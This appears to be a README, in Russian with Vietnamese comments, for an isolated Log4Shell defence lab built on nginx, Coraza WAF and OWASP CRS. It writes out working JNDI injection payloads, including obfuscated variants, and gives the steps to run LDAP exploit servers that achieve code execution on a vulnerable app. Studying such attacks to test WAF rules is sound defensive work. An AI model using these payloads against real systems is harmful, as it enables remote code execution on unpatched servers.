
Лаборатория защиты от Log4Shell (CVE-2021-44228) — nginx + динамический модуль Coraza WAF + OWASP CRS v4. Только в образовательных целях.
Образовательная / защитная цель: эта лаборатория содержит намеренно уязвимое приложение (Log4j 2.14.1) и набор JNDI эксплойтов, ТОЛЬКО для изучения обнаружения и блокировки Log4Shell в изолированной среде. Не разворачивайте в Интернете и не используйте для атак на системы, которые вам не принадлежат.
Практическая лаборатория по защите от Log4Shell (CVE-2021-44228) с использованием nginx со встроенным Coraza WAF (dynamic module) + OWASP CRS v4 + пользовательские правила JNDI. В комплекте: контейнер с уязвимым Spring Boot приложением, attacker-box на Kali, а также Suricata и Wazuh для наблюдения.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Схема запроса: client → nginx (Coraza inspect) → log4shell-app. WAF работает внутри nginx (через модуль ngx_http_coraza_module.so), а не в отдельном контейнере.
| Компонент | Минимальная версия |
|---|---|
| Docker Desktop / Engine | 24+ с Compose v2 |
| Свободная RAM | 4 ГБ (Wazuh потребляет ~1.5 ГБ) |
| Свободное место на диске | 6 ГБ (артефакты сборки image) |
| Время первой сборки | 10–15 минут (libcoraza + nginx module + Maven attacker tools) |
cd /path/to/log4shell-nginx-coraza
docker compose build
Самый медленный этап — nginx (сборка libcoraza v1.4.0 с Go 1.25, затем компиляция модуля coraza-nginx). После первого раза кэш сохраняется.
docker compose up -d
docker compose ps
Через ~30 секунд ожидаемый статус:
| Service | STATUS |
|---|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | может быть Restarting (см. раздел 8 — не блокирует лабораторию) |
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ без заголовка X-Api-Version вернёт 400 — это ошибка Spring Boot whitelabel (no handler), а не блокировка WAF.
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Ожидается: HTTP/1.1 403 Forbidden, тело <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Каждое событие в формате JSON Lines содержит:
transaction.is_interrupted: true → WAF заблокировалmessages[].error_message → какое правило сработало, какой файл и строка, severitydocker exec nginx-proxy tail -f /var/log/nginx/access.log
Фильтрация блокировок:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
По умолчанию
backend-netимеетinternal: true, аattacker-boxнаходится только вdmz-net, поэтому log4shell-app НЕ может достичь attacker-box. Чтобы цепочка JNDI заработала end-to-end, сначала выполните шаг 6.0.
Отредактируйте docker-compose.yml, добавьте attacker-box в backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— thêm
Либо перенесите log4shell-app в dmz-net (проще, но менее наглядно с точки зрения сегментации):
log4shell-app:
networks:
- backend-net
- dmz-net # <— thêm
Применение: docker compose up -d (Compose пересоздаст именно этот контейнер).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
Сервер слушает LDAP :1389 и HTTP :8888 (в compose порты уже проброшены на хост).
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Проверка:
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned
Если файл на месте → цепочка эксплойта работает, приложение по-прежнему уязвимо, а WAF НЕ обходится при прохождении через основной маршрут.
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới
Файл ./coraza/config/log4shell-rules.conf смонтирован :ro в nginx по пути /etc/nginx/coraza/log4shell-rules.conf. После изменений:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
Если Coraza сообщает об ошибке парсинга (failed to compile the directive...), workers завершатся, и nginx -s reload не сможет их перезапустить. В этом случае:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Порядок include (в nginx/coraza/main.conf, уже вшит в image):
SecRuleEngine On, audit log, debug logcrs-setup.conf — инициализация tx.*_anomaly_score, thresholdowasp-crs/rules/*.conf — весь CRS v4.7.0log4shell-rules.conf — пользовательские правила (mount с хоста)Диапазон ID пользовательских правил: 1910001 – 1910999 (вне диапазона CRS 900000–999999).